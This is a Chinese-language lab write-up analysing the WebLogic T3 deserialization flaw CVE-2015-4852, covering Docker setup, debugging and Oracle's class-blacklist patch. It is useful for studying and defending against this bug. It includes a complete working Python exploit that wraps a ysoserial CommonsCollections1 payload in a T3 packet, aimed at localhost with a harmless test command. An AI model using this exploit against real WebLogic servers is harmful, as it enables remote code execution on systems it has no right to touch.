记录Weblogic漏洞分析过程,参考了很多师傅的分析文章,链接放在后记中。
正文
环境搭建
搭建环境参考:
https://github.com/QAX-A-Team/WeblogicEnvironment
将对应版本的JDK与Weblogic分别放入/jdks和/weblogics目录中:
Oracle官网即可下载:
https://www.oracle.com/java/technologies/downloads/archive/
https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
Oracle WebLogic Server 10.3.6支持的最低JDK版本为JDK1.6, Oracle WebLogic Server 12.1.3支持的最低JDK版本为JDK1.7,Oracle WebLogic Server 12.2.1及以上支持的最低JDK版本为JDK1.8。
Docker构建:
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
由于Centos8已与2022年底停止维护,这里需要提前跟换yum源:
RUN cd /etc/yum.repos.d/``RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*``RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*
配置远程调试:
kdir ./middleware``docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/``docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/``docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
将docker中的主要lib目录拷贝出来,IDEA直接打开wlserver并将coherence_3.7与modules作为lib导入项目:
同时将/wlserver/server/lib目录作为lib导入:
配置remote调试端口即可:
启动调试:
T3协议:
Weblogic RMI是Weblogic对于Java RMI的实现,其主要使用Weblogic自有的T3协议和基于Corba的IIOP协议进行客户端与服务端之间的传输。
数据包中前四个字符描述数据包长度,而后为T3的协议头,同时每个标准反序列化头部aced0005前会新增一个fe010000字段:
更多内容参考:
CVE-2015-4852
影响范围:
- Oracle WebLogic Server 10.3.6.0
- Oracle WebLogic Server 12.2.1.0
- Oracle WebLogic Server 12.1.3.0
- Oracle WebLogic Server 12.1.2.0
漏洞分析:
找了一份sp4z师傅的脚本:
from os import popen``import struct # 负责大小端的转换``import subprocess``from sys import stdout``import socket``import re``import binascii
def generatePayload(gadget,cmd): YSO_PATH = "/Users/.../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar" popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE) return popen.stdout.read()
def T3Exploit(ip,port,payload): sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((ip,port)) handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" sock.sendall(handshake.encode()) data = sock.recv(1024) compile = re.compile("HELO:(.*).0.false") match = compile.findall(data.decode()) if match: print("Weblogic: "+"".join(match)) else: print("Not Weblogic") return header = binascii.a2b_hex(b"00000000") t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") desflag = binascii.a2b_hex(b"fe010000") payload = header + t3header +desflag+ payload payload = struct.pack(">I",len(payload)) + payload[4:] sock.send(payload)``if __name__ == "__main__": ip = "127.0.0.1" port = 7001 gadget = "CommonsCollections1" cmd = "touch /tmp/success" payload = generatePayload(gadget,cmd) T3Exploit(ip,port,payload)
大概利用过程如下:
代码调试:
//wlserver/server/lib/wlthint3client.jar/weblogic/InboundMsgAbbrev.readobject()
private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException { int var2 = var1.read(); switch (var2) { case 0: return (new ServerChannelInputStream(var1)).readObject(); case 1: return var1.readASCII(); default: throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'"); }``}
在此处下断点,可看到已修改后的序列化数据:
通过ServerChannelInputStream.resovleClass()方法加载类:
而ServerChannelInputStream继承自ObjectInputStream,而此处的resolveClass方法也是调用父类方法未有任何处理,故造成反序列化漏洞:
下面就是正常的反序列化利用链流程了。
引用文章中的流程图:
修复方案
Weblogic选择resolveClass中添加类黑名单用于过滤反序列化利用链中所涉及的类,在其中一个补丁包中我们可以看到这个isBlackListed方法:
来自ClassFilter,过滤反序列化攻击所使用的关键类:
package weblogic.rmi;
import java.util.HashSet;``import java.util.StringTokenizer;
public abstract class ClassFilter { static final String BLACK_LIST_PROPERTY = "weblogic.rmi.blacklist";
static final String DISABLE_DEFAULT_BLACKLIST_PROPERTY = "weblogic.rmi.disabledefaultblacklist";
static final String DISABLE_BLACK_LIST_PROPERTY = "weblogic.rmi.disableblacklist";
private static final String DEFAULT_BLACK_LIST = "+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure";
private static final HashSet<String> BLACK_LIST = new HashSet<String>();
static { if (!isBlackListDisabled()) { if (!isDefaultBlacklistEntriesDisabled()) updateBlackList("+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure"); updateBlackList(System.getProperty("weblogic.rmi.blacklist", null)); } }
private static boolean isBlackListDisabled() { return Boolean.getBoolean("weblogic.rmi.disableblacklist"); }
private static boolean isDefaultBlacklistEntriesDisabled() { return Boolean.getBoolean("weblogic.rmi.disabledefaultblacklist"); }
private static void updateBlackList(String blackList) { if (blackList != null) { StringTokenizer st = new StringTokenizer(blackList, ","); while (st.hasMoreTokens()) { String token = st.nextToken(); processToken(token); } } }
private static void processToken(String token) { if (token.startsWith("+")) { BLACK_LIST.add(token.substring(1)); } else if (token.startsWith("-")) { BLACK_LIST.remove(token.substring(1)); } else { BLACK_LIST.add(token); } }
public static boolean isBlackListed(String className) { String pkgName; if (className.length() > 0 && BLACK_LIST.contains(className)) return true; try { pkgName = className.substring(0, className.lastIndexOf('.')); } catch (Exception ignored) { return false; } return (pkgName.length() > 0 && BLACK_LIST.contains(pkgName)); }``}
这个黑名单主要作用于三个类的resolveClass方法:
weblogic.iiop.Utils.class weblogic.rjvm.MsgAbbrevInputStream.class``weblogic.rjvm.InboundMsgAbbrev.class